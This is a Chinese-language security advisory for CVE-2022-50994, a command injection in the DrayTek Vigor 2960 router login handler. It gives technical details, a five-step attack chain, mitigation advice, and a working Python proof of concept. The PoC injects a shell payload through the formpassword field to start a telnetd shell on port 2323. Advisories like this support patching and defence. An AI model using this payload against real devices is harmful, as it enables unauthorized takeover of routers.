IPBUF安全漏洞报告
English
CVE-2022-50994 CVSS 8.1 高危

CVE-2022-50994 DrayTek Vigor 2960 远程命令执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2022-50994
漏洞类型
操作系统命令注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DrayTek Vigor 2960

相关标签

RCE命令注入DrayTek路由器IoT安全CWE-78

漏洞概述

DrayTek Vigor 2960路由器固件版本1.5.1.4之前存在操作系统命令注入漏洞。攻击者可利用CGI登录处理程序中的缺陷,在formpassword参数注入Shell元字符。由于输入未经过滤,恶意数据被传递至otp_check.sh脚本执行。利用该漏洞无需用户认证,但需知道有效用户名且该账户启用了MOTP认证。成功攻击后,攻击者可以Web服务器权限远程执行任意系统命令。

技术细节

该漏洞位于DrayTek Vigor 2960的`mainfunction.cgi`登录接口中。当设备处理登录请求时,会将`formpassword`参数的值直接传递给后端的Shell脚本`otp_check.sh`进行验证,且未对输入进行严格的净化处理。攻击者可以构造包含Shell元字符(如`;`、`|`或`&&`)的恶意载荷发送给服务器。虽然CVSS评分为无需认证(PR:N),但实际利用需要满足一定条件:攻击者必须知道目标设备上存在的一个有效用户名,并且该用户账户必须配置了MOTP(基于事件的一次性密码)认证方式。当满足条件时,注入的命令将由Web服务器用户权限执行,导致完整的远程系统沦陷。

攻击链分析

STEP 1
侦察
攻击者扫描网络以识别DrayTek Vigor 2960设备,并通过社会工程学或枚举获取一个有效的用户名。
STEP 2
漏洞探测
攻击者确认目标设备运行的是1.5.1.4之前的固件版本,并验证目标账户是否启用了MOTP认证。
STEP 3
构造载荷
攻击者构造包含Shell元字符(如`;`或`&&`)的特定字符串,并将其作为`formpassword`参数的值。
STEP 4
执行攻击
攻击者向`/cgi-bin/mainfunction.cgi`发送POST请求,载荷被传递给`otp_check.sh`脚本,导致恶意命令在服务器端执行。
STEP 5
建立控制
攻击者利用执行的命令开启后门(如Telnet)或反弹Shell,从而获取设备的完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests def exploit(target_ip, valid_username): url = f"http://{target_ip}/cgi-bin/mainfunction.cgi" # The payload injects a shell command to create a reverse shell or execute a command # Example: injecting `;` to break the original command and execute `telnetd` malicious_payload = "admin; telnetd -l /bin/sh -p 2323 #" headers = { "User-Agent": "Mozilla/5.0 (Compatible; CVE-2022-50994-Scanner)", "Content-Type": "application/x-www-form-urlencoded" } data = { "action": "login", "username": valid_username, "formpassword": malicious_payload, "logintype": "otp" } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with target IP and a valid username found via recon target = "192.168.1.1" user = "admin" exploit(target, user)

影响范围

DrayTek Vigor 2960 < 1.5.1.4

防御指南

临时缓解措施
建议立即检查设备固件版本并升级至官方提供的最新修复版本。若暂时无法升级,应通过网络ACL限制对设备Web管理界面的访问,仅允许内网特定管理IP连接,并考虑暂时禁用MOTP认证功能以阻断攻击路径,同时定期审查系统日志以检测是否存在异常登录尝试。

参考链接